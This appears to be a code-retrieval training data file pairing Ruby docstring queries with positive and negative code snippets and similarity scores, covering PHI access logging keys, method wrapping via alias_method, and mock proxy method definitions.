[ "0.56423086", "0.5560896", "0.5560896", "0.5560896", "0.5560896", "0.5560896", "0.5560896", "0.5560896", "0.5560896", "0.5557878", "0.5507924", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.5496038", "0.54490244", "0.5438542", "0.54335636", "0.54335636", "0.5415567", "0.54086137", "0.540849", "0.540849", "0.540849", "0.540849", "0.540849", "0.539434", "0.5389073", "0.5342918", "0.53339905", "0.533356", "0.53174293", "0.5314365", "0.5256683", "0.5256683", "0.5256683", "0.5256683", "0.5256683", "0.524269", "0.5231778", "0.5222559", "0.5217373", "0.5214636", "0.5204101", "0.5189705", "0.51882374", "0.51882374", "0.51830786", "0.51556855", "0.5144069", "0.5140007", "0.5138809", "0.51376957", "0.5136462", "0.51265424", "0.51243013", "0.51141465", "0.5102488", "0.50989485", "0.50989485", "0.50989485", "0.50989485", "0.50984323", "0.5084333", "0.50838804", "0.5065767", "0.50626117", "0.50557446", "0.5049679", "0.50485563", "0.5045366", "0.504436", "0.50439894", "0.5040553", "0.50326335", "0.50303954", "0.50300455", "0.5023878", "0.50218415", "0.5019151", "0.5019097", "0.5012576", "0.50113606", "0.5000376", "0.49898958" ]
0.6144088
0
Log Key for an instance of this class. If the instance is persisted in the database, then it is the primary key; otherwise it is the Ruby object_id in memory. This is used by the tagged logger for tagging all log entries to find the underlying model.
def phi_log_keys @__phi_log_id = persisted? ? "Key: #{attributes[self.class.primary_key]}" : "Object: #{object_id}" @__phi_log_keys = [PHI_ACCESS_LOG_TAG, self.class.name, @__phi_log_id] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def key\n self.class._key\n end", "def self_key # :nodoc:\n klass = self.class\n if klass.superclass != ActiveRecord::Base\n if klass.superclass.eav_class == klass.eav_class\n klass = klass.superclass\n end\n end\n\n \"#{klass.name.underscore}_id\".to_sym\n end", "def cache_key(record)\n record.object_id\n end", "def cache_key(record)\n record.object_id\n end", "def cache_key(record)\n record.object_id\n end", "def log_key\n @log_key ||= \"#{super}: #{name}\"\n end", "def log_key\n @log_key ||= \"#{super}: #{name}\"\n end", "def log_key\n @log_key ||= \"#{super}: #{name}\"\n end", "def log_key\n @log_key ||= \"#{super}: #{name}\"\n end", "def key\n self.id\n end", "def key\n self.id\n end", "def key\n self.id\n end", "def id_key_for(model_class)\n get_key('ID_KEY', model_class) + '_id'\n end", "def __object_unique_id__\n return @args[:data][:Key_name]\n end", "def key_id\n return @key_id\n end", "def key_id\n return @key_id\n end", "def key_id\n return @key_id\n end", "def key\n raise MissingID if not defined?(@id)\n model.key[id]\n end", "def _key\n @_key || self.class.key.(self)\n end", "def key\n id\n end", "def primary_key\n @primary_key ||= @klass.primary_key.to_s\n end", "def key\n @key ||= name.to_s\n end", "def to_key\n respond_to?(:main_instance) && main_instance && main_instance.to_key\n end", "def hash_key\n send(self.class.hash_key)\n end", "def hash_key\n send(self.class.hash_key)\n end", "def get_key record\n record\n end", "def to_key\n persisted? ? id.to_s : nil\n end", "def db_key\n\t\t\tself.class.db_key\n end", "def _hashback_id_key\n self.__send__(self.class.__send__(:class_variable_get, :@@_key_method_sym))\n end", "def key\n @key\n end", "def key\n @key\n end", "def key\n @entity.key\n end", "def to_key\n _persisted_obj ? [id] : nil\n end", "def cache_key\n case\n when new_record? then\n \"#{self.class.name.underscore}/new\"\n when ::ActiveRemote.config.default_cache_key_updated_at? && (timestamp = self[:updated_at]) then\n timestamp = timestamp.utc.to_s(self.class.cache_timestamp_format)\n \"#{self.class.name.underscore}/#{self.to_param}-#{timestamp}\"\n else\n \"#{self.class.name.underscore}/#{self.to_param}\"\n end\n end", "def key_name\n \"#{prefix}:#{@id}\"\n end", "def key\n @key.id2name\n end", "def id\n key\n end", "def primary_key\n self.class.primary_key\n end", "def primary_key\n self.class.primary_key\n end", "def primary_key\n self.class.primary_key\n end", "def key\n return @key\n end", "def key\n return @key\n end", "def key\n instance_variables\n .collect { |variable| instance_variable_get(variable) }\n .join\n end", "def __object_lock_key\n @key ||= \"this.#{object_id}\".to_sym\n end", "def primary_key\n send( self.class.primary_key )\n end", "def to_key\n [object_id]\n end", "def key_id; end", "def key\n store_as.to_s\n end", "def id\n @__metadata__.key || @id\n end", "def to_key # :nodoc:\n id\n end", "def key\n get_primary_key_value_map[self.class.table_name]\n end", "def key\n\t\t\tself.class.key(user)\n\t\tend", "def dump_key(object)\n object.key_attribute\n end", "def key\n @attributes[:key]\n end", "def key\n @attributes[:key]\n end", "def cache_key\n \"#{self.class.cache_key_base}/#{self.id}\"\n end", "def session_key\n if self.new_record?\n @session_key\n else\n ActiveRecord::Base.session_keys[session_key_id]\n end\n end", "def cache_key\n if new_record?\n \"#{self.class.model_name.cache_key}/new\"\n else\n \"#{self.class.model_name.cache_key}/#{id}\"\n end\n end", "def primary_key\n cached_fetch(:primary_key){associated_class.primary_key || raise(Error, \"no primary key specified for #{associated_class.inspect}\")}\n end", "def key\n @key\n end", "def key\n @key\n end", "def key\n self.class.item_name\n end", "def primary_key\n '_id'\n end", "def get_key_for_record (record:, record_class:)\n if record.is_a?(Hash)\n record_id = record[:id] || record[:_id]\n else\n record_id = record.id\n end\n raise RuntimeError, 'missing record_id' if record_id == nil\n record_class ||= record.class.name\n raise RuntimeError, 'missing record_class' if ['', nil, 'Hash'].include?(record_class)\n key = [record_class, record_id.to_s].join(':')\n return key\n end", "def key(name = nil)\n \"#{@id}:#{name}\"\n end", "def instance_id\n data[:instance_id]\n end", "def primary_key\n self[:primary_key]\n end", "def key\n field = java_class.declared_field 'key'\n app = Java.ruby_to_java self\n field.value app\n end", "def cache_id\n \"#{self.class.name.underscore}:#{self.id}\"\n end", "def primary_key\n \"#{quoted_table_name}.#{model_class.send :primary_key}\"\n end", "def primary_key\n \"#{quoted_table_name}.#{model_class.send :primary_key}\"\n end", "def key\n \"User:#{@id}\"\n end", "def key\n attributes[:key]\n end", "def primary_key\n @attributes[self.primary_key_attribute]\n end", "def to_key\n persisted? ? [id] : nil\n end", "def to_key\n persisted? ? [id] : nil\n end", "def default_key\n :\"#{underscore(demodulize(self[:model].name))}_id\"\n end", "def key_id\n metadata[\"keyid\"]\n end", "def key(name)\n @unique_key = name\n end", "def default_key\n :\"#{self[:name]}_id\"\n end", "def primary_key\n @primary_key\n end", "def id\n attributes[self.class.primary_key]\n end", "def association_key_name\n reflection.join_primary_key(klass)\n end", "def default_key\n :\"#{self[:model].name.to_s.demodulize.underscore}_id\"\n end", "def default_key\n :\"#{self[:name]}_id\"\n end", "def simple_cache_key\n \"#{self.class.name.underscore}/#{id}\"\n end", "def association_key_name\n reflection.join_primary_key(klass)\n end", "def primary_key\n self.class.primary_key == :id ? id : @saved_attributes[self.class.primary_key]\n end", "def tracking_key(*args)\n id = concurrent_identifier(*args)\n id = \".#{id}\" if id && id.strip.size > 0\n \"concurrent.tracking.#{self.to_s}#{id}\"\n end", "def key\n stores_foreign_key? ? foreign_key : primary_key\n end", "def key\n self.class.name.split(/::/).last.underscore\n end", "def get_key(record)\n get(self.by, record)\n end", "def storage_key\n self.class.member_path(self[self.class.param_name])\n end", "def unique_key\n @unique_key ||= section.identifier\n end", "def id\n @instance.id\n end", "def redis_key(str)\n \"user:#{self.id}:#{str}\"\n end", "def primary_key\n @primary_key ||= :id\n end", "def key_id=(value)\n @key_id = value\n end", "def key_id=(value)\n @key_id = value\n end", "def key_id=(value)\n @key_id = value\n end" ]
[ "0.7309724", "0.72346777", "0.68675977", "0.6821761", "0.6821761", "0.67555493", "0.67555493", "0.67555493", "0.67555493", "0.6739975", "0.6739975", "0.6739975", "0.6728207", "0.6683211", "0.6647677", "0.6647677", "0.6647677", "0.6625163", "0.6593296", "0.6561271", "0.65313894", "0.6515451", "0.6508107", "0.6494596", "0.6494596", "0.64883256", "0.6486798", "0.6484719", "0.64570946", "0.64449495", "0.64449495", "0.6444378", "0.64282125", "0.6386672", "0.6377967", "0.6362941", "0.63629353", "0.6350026", "0.6350026", "0.6350026", "0.63497806", "0.63497806", "0.6343747", "0.63368464", "0.63194495", "0.6315979", "0.63112587", "0.62877566", "0.6283352", "0.62760365", "0.6259409", "0.62436104", "0.619218", "0.6180133", "0.6180133", "0.61797696", "0.61722386", "0.61612755", "0.6153178", "0.61499566", "0.61499566", "0.61370105", "0.6103408", "0.60896385", "0.60884476", "0.6084095", "0.60660803", "0.6064425", "0.6039279", "0.60277057", "0.60277057", "0.60117984", "0.6004238", "0.59962857", "0.59923744", "0.59923744", "0.5986669", "0.5985691", "0.59828645", "0.5980907", "0.597095", "0.59606886", "0.5957929", "0.5952477", "0.5948786", "0.5935177", "0.59241307", "0.59241265", "0.59193766", "0.5917026", "0.59157103", "0.5907564", "0.58867776", "0.5873159", "0.5865562", "0.58528876", "0.5851063", "0.5842816", "0.5842816", "0.5842816" ]
0.626636
50
The unique identifiers for everything with access allowed on this instance.
def all_phi_allowed_by self.class.__user_id_string(all_phi_context) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def unique_identifiers\n [:name, :path]\n end", "def unique_identifiers\n return super if defined?(super)\n\n raise NotImplementedError\n end", "def known_identities; end", "def globally_unique_identifier\n super\n end", "def owner_access_control_key # :nodoc:\n 'id'\n end", "def identities\n \n return ::IdentifiesAs.object_identities( self ) \n \n end", "def identifier_keys\n @identifier_keys ||= [:selected, model_id_key, :id].uniq\n end", "def ids\n storage.keys\n end", "def managed_collection_ids\n Hyrax::Collections::PermissionsService.source_ids_for_manage(ability: @ability)\n end", "def accessible_scopes\n [uid, shared_space.try(:uid)].compact\n end", "def ids\n @keys ||= []\n end", "def owner_id_list(resource)\n id_list(resource, owner_request_ids)\n end", "def acc_ids\n\t self.accounts.pluck(:id)\n\tend", "def identifiers_hash\n @identifiers_hash ||= {:default => [:uuid]}\n end", "def __object_unique_id__\n name\n end", "def __object_unique_id__\n name\n end", "def account_ids()\n return [1, 2]\n end", "def uniqid\n SecureRandom.hex(32)\n end", "def uniqid\n SecureRandom.hex(32)\n end", "def unique_id\n id = {}\n %w(uri name id providerDisplayName credentials providerUri poolName).each { |key| id[key] = @data[key] if @data[key] }\n raise 'A unique identifier for the resource must be declared in data for the current operation' if id.empty?\n id\nend", "def oids\n\t\treturn @storage.keys\n\tend", "def id_param_keys\n [*super, :email].uniq\n end", "def users_ids\n object.member_ids\n end", "def ids\n @ids ||= []\n end", "def non_ha_server_identities\n group_instance.server_identities.uniq\n end", "def id_public\n id\n end", "def all_users\n\t\tshared_users.map(&:id).join(\", \")\n\tend", "def uids\n @uids ||= records.map(&:uid)\n end", "def list_id\n raise 'answer a unique, never changing value'\n end", "def identifier_uris\n return @identifier_uris\n end", "def user_member_ids\n member_ids(\"User\")\n end", "def user_keys\n @user_keys ||= begin\n _keys = keys || {}\n ret = Hash[_keys.map { |k, v| [clean_identifier(k), v] }]\n if ret.keys.count != _keys.keys.count\n Logger.warn \\\n \"Duplicate public key identifiers were detected in #keys.\"\n end\n ret\n end\n end", "def canonical_instance_identifiers(opennebula_instance)\n fail 'Instance object not provided!' unless opennebula_instance\n identifiers = []\n\n identifiers << opennebula_instance['USER_TEMPLATE/OCCI_ID']\n identifiers << opennebula_instance['NAME']\n identifiers << opennebula_instance['ID'].to_s\n identifiers.compact!\n\n Egi::Fedcloud::Vmhound::Log.debug \"[#{self.class}] Assigning instance IDs \" \\\n \"#{identifiers.inspect} to #{opennebula_instance['ID'].inspect}\"\n identifiers\n end", "def user_ids\n self.users.collect{|ud| ud.id}\n end", "def unique_identifier\n Digest::MD5.hexdigest(@name.to_s)[0..9]\n end", "def ids\n interfaces_hash.keys\n end", "def ids\n @ids ||= begin\n ioctl(EVIOCGID, buf = '\\x00' * 8)\n buf.unpack('S!4')\n end\n end", "def account_ids\n user.app_metadata.fetch('account_ids', [])\n end", "def identifiers\n return [] if __getobj__.blank?\n\n __getobj__.identifier if __getobj__.respond_to?(:identifier)\n end", "def admin_set_ids_for_deposit\n Hyrax::Collections::PermissionsService.source_ids_for_deposit(ability: current_ability)\n end", "def identifiers; end", "def __object_unique_id__\n return @args[:data][:Key_name]\n end", "def unique_key\n [@msgid, @msgctxt]\n end", "def user_keys\n self.whitelists.map{|whitelist| whitelist.user_key}.uniq\n end", "def id_instances\n @id_instances ||= Hash[instances.map { |i| [i.instance_id, i] }]\n end", "def all_ids\n @all_ids ||= @ids_fenotypes.keys\n @all_ids\n end", "def duplicants_fieldlet_ids\n\t\t\tself.duplicant_field::FIELDLET_IDS\n\t\tend", "def unique_id\n object_id.abs.to_s(16)\n end", "def unique_id\n \"name-#{@language_id}-#{@name_id}\"\n end", "def all_ids(_context)\n raise NotImplementedError\n end", "def accessible_project_ids\n @accessible_project_ids ||=\n Collaboration.owned_by(self).all(:select => [:project_id]).map {|c| c.project_id }\n end", "def registration_ids\n [user.profile.web_push_subscription.except('expirationTime').deep_symbolize_keys]\n end", "def userids\n metadata[\"userids\"]\n end", "def hash\n \tcustom_unique_id.hash\n end", "def unique\n self['unique']\n end", "def unique_identifier\n Digest::SHA1.hexdigest (\"#{self.screen_name}:#{self.password}\")\n end", "def user_ids\n @attributes[:user_ids]\n end", "def user_ids\n @attributes[:user_ids]\n end", "def user_ids\n @attributes[:user_ids]\n end", "def instance_ids\n @instance_ids ||= groups.map { |gr| gr.instances.map { |i| i.instance_id } }.flatten\n end", "def identifier\n SecureRandom.hex(16)\n end", "def device_identities\n return @device_identities\n end", "def uuid\n idme_uuid\n end", "def unique_key\n @unique_key ||= section.identifier\n end", "def user_permission_keys\n new_record? ? [] : self.permissions(true).collect(&:key)\n end", "def connection_identifiers; end", "def requester_ids\n @requester_ids ||= []\n end", "def owner_id_list(resource)\n case resource\n when \"requests\"\n owner_request_ids\n when \"stages\"\n owner_stage_ids(owner_request_ids)\n when \"actions\"\n Action.where(:stage_id => owner_stage_ids(owner_request_ids)).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end", "def uid; end", "def duplicate_ids\n return [] if accession_number.nil?\n Image.where(accession_number_ssim: @accession_number)\n end", "def object_unauthorized_collection_ids\n @object_unauthorized_collection_ids ||= begin\n limited_access = []\n unauthorized_collection_ids = object_member_of - object_managed_collection_ids\n if unauthorized_collection_ids.any?\n unauthorized_collection_ids.each do |id|\n # TODO: Can we instead use a SOLR query? This seems to be somewhat expensive. However, as this is\n # used in administration instead of user front-end displays, I'm not as concerned.\n collection = ActiveFedora::Base.find(id)\n limited_access << id if (collection.instance_of? AdminSet) || collection.share_applies_to_new_works?\n end\n end\n limited_access\n end\n end", "def object_identifier\n [\"#{self.class.name}\", (id.nil? ? nil : \"##{id}\"), \":0x#{self.object_id.to_s(16)}\"].join\n end", "def owner_id_list(resource)\n case resource\n when \"requests\"\n owner_request_ids\n when \"actions\"\n Action.where(:request_id => owner_request_ids).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end", "def id( )\n return @instances.map{ |i| i[:aws_instance_id] }\n end", "def ids\n (1..get_item_count).map do |index|\n get_item_identifier index\n end\n end", "def uuid; end", "def uuid; end", "def owner_request_ids\n Request.by_owner.pluck(:id).sort\n end", "def owner_request_ids\n Request.by_owner.pluck(:id).sort\n end", "def owner_request_ids\n Request.by_owner.pluck(:id).sort\n end", "def unique_senders\n return @unique_senders\n end", "def replicant_id\n [self.class.name, id]\n end", "def user_ids\n users.collect(&:id)\n end", "def profiles_as_supervisor_ids\n self.areas.map(&:profiles).flatten.uniq.map(&:id)\n end", "def generate_unique_id\n Digest::SHA256.hexdigest unique_id_elements.join\n end", "def omim_ids\n @table.keys\n end", "def serializable_attributes\n attributes = %w[id name created_at]\n attributes << \"uid\" unless confidential?\n attributes\n end", "def get_user_ids\n @assigned_lawfirm_users.map(&:id)\n end", "def get_unique_accessCode\n code = generate_accessCode\n while Room.exists?(accessCode: code) do\n code = generate_accessCode\n end\n return code\n end", "def assignable_people_ids\n ([self.scrum_master_id.to_s] + self.team_member_ids).select {|u_id| !u_id.blank?}\n end", "def lookups\n (instance_type::INTERNAL_ATTRIBUTES + @mapping.salesforce_fields).uniq.join(\", \")\n end", "def uid() end", "def name\n \"identity\"\n end", "def unique_id\n params['unique_id']\n end", "def key_ids\n @keys.keys\n end", "def unique_id\n # check all_data instead of data, as we have to not reuse deleted key\n ids = Set.new(all_data.map { |e| e[:key] })\n id = 1\n loop do\n return id.to_s unless ids.include?(id.to_s)\n id += 1\n end\n end", "def identifiers\n request[:ids]\n end", "def generate_ids\n uuid = UUID.new\n self.id = uuid.generate\n end", "def member_object_ids\n return [] unless id\n member_objects.map(&:id)\n end", "def workflow_ids\n approval_access = RBAC::Access.new('workflows', 'approve').process\n approval_access.send(:generate_ids)\n\n Rails.logger.info(\"Accessible workflows: #{approval_access.id_list}\")\n\n approval_access.id_list\n end", "def viewable_users\n @viewable_users ||= (controllable_users + request_applicants + controllable_users.map{|uu|uu.request_applicants}).flatten.uniq\n end" ]
[ "0.79578733", "0.6908273", "0.67682344", "0.6647124", "0.65532345", "0.6408829", "0.63862103", "0.6301023", "0.62380296", "0.6198671", "0.6160228", "0.6146002", "0.61426187", "0.6138904", "0.6103008", "0.6103008", "0.6101796", "0.60802203", "0.60802203", "0.60742325", "0.60731083", "0.6067296", "0.60669297", "0.606194", "0.60244447", "0.60092854", "0.59901464", "0.5987951", "0.59855586", "0.5982324", "0.5971846", "0.595433", "0.59456897", "0.5934563", "0.5928301", "0.5923995", "0.59107524", "0.59099746", "0.5909749", "0.5901329", "0.5899621", "0.58963877", "0.5870045", "0.58621454", "0.58336866", "0.58336866", "0.5822315", "0.5814458", "0.58142847", "0.58120346", "0.5800951", "0.5790119", "0.5777757", "0.57724", "0.57702655", "0.5767911", "0.57660353", "0.57660353", "0.57660353", "0.57659906", "0.5760864", "0.5740982", "0.57292926", "0.5723955", "0.5720533", "0.57191825", "0.57182854", "0.57131517", "0.5701574", "0.56973946", "0.56969726", "0.5695826", "0.56917423", "0.56900066", "0.56893146", "0.5686319", "0.5686319", "0.56789756", "0.56789756", "0.56789756", "0.5675695", "0.566432", "0.566404", "0.56638676", "0.5657584", "0.56568164", "0.56565756", "0.5655696", "0.56498957", "0.5648293", "0.56443983", "0.5637227", "0.56367254", "0.5636648", "0.56317455", "0.56316423", "0.5628366", "0.56282824", "0.56279856", "0.5623438", "0.5622157" ]
0.0
-1
Core logic for wrapping methods in PHI access logging and access restriction. This method takes a single method name, and creates a new method using define_method; once this method is defined, the original method name is aliased to the new method, and the original method is renamed to a known key.
def phi_wrap_method(method_name) unless respond_to?(method_name) PhiAttrs::Logger.warn("#{self.class.name} tried to wrap non-existant method (#{method_name})") return end return if self.class.__phi_methods_wrapped.include? method_name wrapped_method = :"__#{method_name}_phi_wrapped" unwrapped_method = :"__#{method_name}_phi_unwrapped" self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block| PhiAttrs::Logger.tagged(*phi_log_keys) do unless phi_allowed? raise PhiAttrs::Exceptions::PhiAccessException, "Attempted PHI access for #{self.class.name} #{@__phi_user_id}" end unless all_phi_context_logged? PhiAttrs::Logger.info("#{self.class.name} access by [#{all_phi_allowed_by}]. Triggered by method: #{method_name}") set_all_phi_context_logged end send(unwrapped_method, *args, **kwargs, &block) end end # method_name => wrapped_method => unwrapped_method self.class.send(:alias_method, unwrapped_method, method_name) self.class.send(:alias_method, method_name, wrapped_method) self.class.__phi_methods_wrapped << method_name end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_alias_for_existing_method(method_name)\n new_alias = new_name(method_name)\n unless @obj.respond_to?(new_alias)\n safe_alias_method(new_alias, method_name)\n end\n new_alias\n end", "def create_alias_for_existing_method(method_name)\n begin\n new_alias = new_name(method_name)\n unless @obj.respond_to?(new_alias)\n sclass.class_eval do\n alias_method(new_alias, method_name)\n end\n end\n new_alias\n rescue NameError => ex\n # Alias attempt failed\n nil\n end\n end", "def stow_existing_definition(method_name)\n @methods_proxied << method_name\n new_alias = create_alias_for_existing_method(method_name)\n if new_alias\n my_object = @obj\n @method_definitions[method_name] = Proc.new { |*args|\n block = nil\n if Proc === args.last\n block = args.last\n args = args[0...-1]\n end\n my_object.send(new_alias, *args, &block)\n }\n end\n remove_current_method(method_name) if singleton?(method_name)\n end", "def stow_existing_definition(method_name)\n @methods_proxied << method_name\n new_alias = create_alias_for_existing_method(method_name)\n if new_alias\n @method_definitions[method_name] = create_aliased_definition(@obj, new_alias)\n end\n remove_current_method(method_name) if singleton?(method_name)\n end", "def alias_method(new_name, current_name)\n # If we're aliasing a method we contain, just reference it directly, no\n # need for the alias wrapper\n if entry = @method_table.lookup(current_name)\n @method_table.store new_name, entry.method, entry.visibility\n else\n mod = direct_superclass()\n while mod\n entry = mod.method_table.lookup(current_name)\n break if entry\n mod = mod.direct_superclass\n end\n\n unless entry\n raise NoMethodError, \"No method '#{current_name}' to alias to '#{new_name}'\"\n end\n\n @method_table.alias new_name, entry.visibility, current_name,\n entry.method, mod\n end\n\n Rubinius::VM.reset_method_cache(new_name)\n end", "def method_added(name)\n\n# if new method is an alias method of some method then no need to alias it again\n if /hook/.match(name.to_s) or method_defined?(\"#{name}_without_hook\") or [\"before_method\",\"after_method\"].include?(name.to_s)\n return\n end \n\n call_bef = find_except(name,:before) #finds function which should be called before/after this fuction\n call_aft = find_except(name,:after)\n if call_bef.length == 0 && call_aft.length == 0 \n return\n end \n\n if call_bef.include?(name.to_s) or call_aft.include?(name.to_s) #To avoid infinite loop\n return\n end\n\n# define new method\n hook = %{\n def #{name}_hook\n call_bef = self.class.find_except(\\\"#{name}\\\",:before)\n call_bef.each{|elem| send elem}\n #{name}_without_hook()\n call_aft = self.class.find_except(\\\"#{name}\\\",:after)\n call_aft.each{|elem| send elem}\n end\n }\n\n self.class_eval(hook)\n a1 = \"alias #{name}_without_hook #{name}\"\n self.class_eval(a1)\n a2 = \"alias #{name} #{name}_hook\"\n self.class_eval(a2)\n\n end", "def hide_existing_method(method_name)\n stow_existing_definition(method_name)\n define_proxy_method(method_name)\n end", "def hide_existing_method(method_name)\n stow_existing_definition(method_name)\n define_proxy_method(method_name)\n end", "def aliased_method_name(method_name)\r\n last_letter = method_name.to_s[method_name.to_s.size-1]\r\n if %w(? !).member? last_letter\r\n # remove ? and ! from the middle and put it to the end\r\n (method_name.to_s.chop!+\"_in_#{self.simple_name.to_snake_case}#{last_letter}\").to_sym\r\n else\r\n (method_name.to_s+\"_in_#{self.simple_name.to_snake_case}\").to_sym\r\n end\r\n end", "def replace_method(method_name, &definition)\n new_patch ReplaceMethodPatch.send(:new, method_name, &definition)\n end", "def method_added(method_name) #:doc:\n super\n\n if ! Apipie.active_dsl? || ! Apipie.apipie_provided?\n Apipie.clear_last\n return\n end\n\n begin\n # remove method description if exists and create new one\n Apipie.remove_method_description(self, Apipie.last_dsl_data[:api_versions], method_name)\n description = Apipie.define_method_description(self, method_name, Apipie.last_dsl_data[:api_versions])\n ensure\n Apipie.clear_last\n end\n\n # redefine method only if validation is turned on\n if description && Apipie.configuration.validate == true\n\n old_method = instance_method(method_name)\n\n define_method(method_name) do |*args|\n\n if Apipie.configuration.validate == true\n description.params.each do |_, param|\n\n # check if required parameters are present\n if param.required && !params.has_key?(param.name)\n raise ParamMissing.new(param.name)\n end\n\n # params validations\n if params.has_key?(param.name)\n param.validate(params[:\"#{param.name}\"])\n end\n\n end\n end\n\n # run the original method code\n old_method.bind(self).call(*args)\n end\n\n end\n end", "def patch_method\n # handle ! and ? methods\n meth, punctuation = signature.method.to_s.sub(/([?!=])$/, ''), $1\n\n # handle +, -, [], etc.\n meth = case meth\n when '+'\n 'plus'\n when '-'\n 'minus'\n when '/'\n 'slash'\n when '*'\n 'splat'\n when '[]'\n 'square'\n else\n meth\n end\n signature.target.class_eval <<-RB\n def #{meth}_with_counter#{punctuation}(*args, &block)\n #{meth}_without_counter#{punctuation}(*args, &block)\n ensure\n unless Patcher.no_trace?\n Patcher.no_trace do\n COUNTS['#{signature}'] += 1\n end\n end\n end\n Patcher.no_trace do\n alias #{meth}_without_counter#{punctuation} #{signature.method}\n alias #{signature.method} #{meth}_with_counter#{punctuation}\n end\n RB\n end", "def add_method(name)\n self.push_literal name\n self.push_context\n self.send :__add_method__, 2\n end", "def alias_method(sym1,sym2) end", "def define_advised_method(name)\n args = args_for(hooks[name][:old_method] ||= instance_method(name))\n\n <<-EOD \n def #{name}(#{args})\n #{inline_hooks(name, :before, args)}\n retval = #{inline_call(name, args)}\n #{inline_hooks(name, :after, args)}\n\t retval\n end\n EOD\n end", "def deprecated_method_alias(name, aliased_method, removal_in: nil, class_method: false)\r\n validate name => Symbol, aliased_method => Symbol, removal_in => [NilClass, String],\r\n class_method => [TrueClass, FalseClass]\r\n\r\n target = class_method ? self.class : self\r\n class_name = self.name\r\n\r\n unless target.method_defined?(aliased_method)\r\n raise ArgumentError, \"#{class_name} does not have method #{aliased_method} defined\"\r\n end\r\n\r\n delimiter = class_method ? '.' : '#'\r\n\r\n target.define_method(name) do |*args, **kvargs|\r\n alias_name = format('%s%s%s', class_name, delimiter, name)\r\n aliased_method_name = format('%s%s%s', class_name, delimiter, aliased_method)\r\n Deprecation.warn_method(alias_name, removal_in, aliased_method_name)\r\n method(aliased_method).call(*args, **kvargs)\r\n end\r\n end", "def around_method name, &block\n original_method = instance_method name\n _redefine_method name do |*args|\n instance_exec original_method, *args, &block\n end \n end", "def phi_wrap_extension(method_name)\n raise NameError, \"Undefined relationship in `extend_phi_access`: #{method_name}\" unless respond_to?(method_name)\n return if self.class.__phi_methods_to_extend.include? method_name\n\n wrapped_method = wrapped_extended_name(method_name)\n unwrapped_method = unwrapped_extended_name(method_name)\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n relation = send(unwrapped_method, *args, **kwargs, &block)\n\n if phi_allowed? && (relation.present? && relation_klass(relation).included_modules.include?(PhiRecord))\n relations = relation.is_a?(Enumerable) ? relation : [relation]\n relations.each do |r|\n r.allow_phi!(phi_allowed_by, phi_access_reason) unless @__phi_relations_extended.include?(r)\n end\n @__phi_relations_extended.merge(relations)\n self.class.__instances_with_extended_phi.add(self)\n end\n\n relation\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, method_name, wrapped_method)\n\n self.class.__phi_methods_to_extend << method_name\n end", "def method_alias(klass, method)\n if klass.method_defined?(method.to_sym) ||\n klass.private_method_defined?(method.to_sym)\n\n with = \"#{method}_with_instana\"\n without = \"#{method}_without_instana\"\n\n klass.class_eval do\n alias_method without, method.to_s\n alias_method method.to_s, with\n end\n else\n ::Instana.logger.debug \"No such method (#{method}) to alias on #{klass}\"\n end\n end", "def with_method_transaction\n temp_name = \"__pry_#{method.original_name}__\"\n method = self.method\n method.owner.class_eval do\n alias_method temp_name, method.original_name\n yield\n alias_method method.name, method.original_name\n alias_method method.original_name, temp_name\n end\n\n ensure\n method.send(:remove_method, temp_name) rescue nil\n end", "def safe_alias_method(new_alias, method_name)\n target_class_eval do\n begin\n alias_method(new_alias, method_name)\n rescue NameError\n nil\n end\n end\n end", "def define_new_method!\n advised = self\n\n advised.mod_target.instance_eval do\n define_method advised.new_meth do | *args, &block |\n ar = ActivationRecord.new(advised, self, args, block)\n\n # Proc to invoke the old method with :before and :after advise hooks.\n body = Proc.new do\n self.__send__(advised.before_meth, ar)\n begin\n ar.result = self.__send__(advised.old_meth, *ar.args, &ar.block)\n rescue ::Object => err\n ar.error = err\n ensure\n self.__send__(advised.after_meth, ar)\n end\n ar.result\n end\n\n # Invoke the :around advice with the body Proc.\n self.__send__(advised.around_meth, ar, body)\n\n # Reraise Exception, if occured.\n raise ar.error if ar.error\n\n # Return the message result to caller.\n ar.result\n end # define_method\n end # instance_eval\n\n self\n end", "def singleton_method_added(singleton_method_name)\n\n # Skip any methods that are excluded. See @@wrap_exclusions for more information.\n if @@wrap_exclusions.include?(singleton_method_name.to_sym)\n return\n end\n\n # A method that was once wrapped must now be in the excluded list, as well as it's alias.\n # This is to prevent infinite loop.\n @@wrap_exclusions << singleton_method_name.to_sym\n @@wrap_exclusions << \"old_#{singleton_method_name}\".to_sym\n\n # Because I am in a class method here, I need the special self.class_eval\n # in order to add new class methods. Because the names are part of a variable,\n # I use the HEREDOC so I can call alias_method and redefine the same method.\n #\n # * We create an alias so we can call the original method.\n # * We redefine the method by calling before and after callbacks.\n # * The before callbacks are skipped if they are already called without the after.\n # * The after callbacks are skipped if one of the method called a sibbling.\n # We only do the after callbacks when its the original methods that has finished.\n # * Any arguments and return values are perseved\n # * Methods that supports blocks are not supported.\n self.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1\n class << self\n alias_method :old_#{singleton_method_name}, :#{singleton_method_name}\n end\n def self.#{singleton_method_name}(*args)\n if time_to_call_before_methods?\n before_methods.each do |method|\n send(method)\n end\n end\n entering_wrap_method\n result = old_#{singleton_method_name} *args\n leaving_wrap_method\n if time_to_call_after_methods?\n after_methods.each do |method|\n send(method)\n end\n end\n result\n end\n RUBY_EVAL\n\n end", "def define_proxy_method(method_name)\n if method_name.to_s =~ /=$/\n eval_line = __LINE__ + 1\n sclass.class_eval %{\n def #{method_name}(*args, &block)\n @flexmock_proxy.mock.__send__(:#{method_name}, *args, &block) \n end\n }, __FILE__, eval_line\n else\n eval_line = __LINE__ + 1\n sclass.class_eval %{\n def #{method_name}(*args, &block)\n 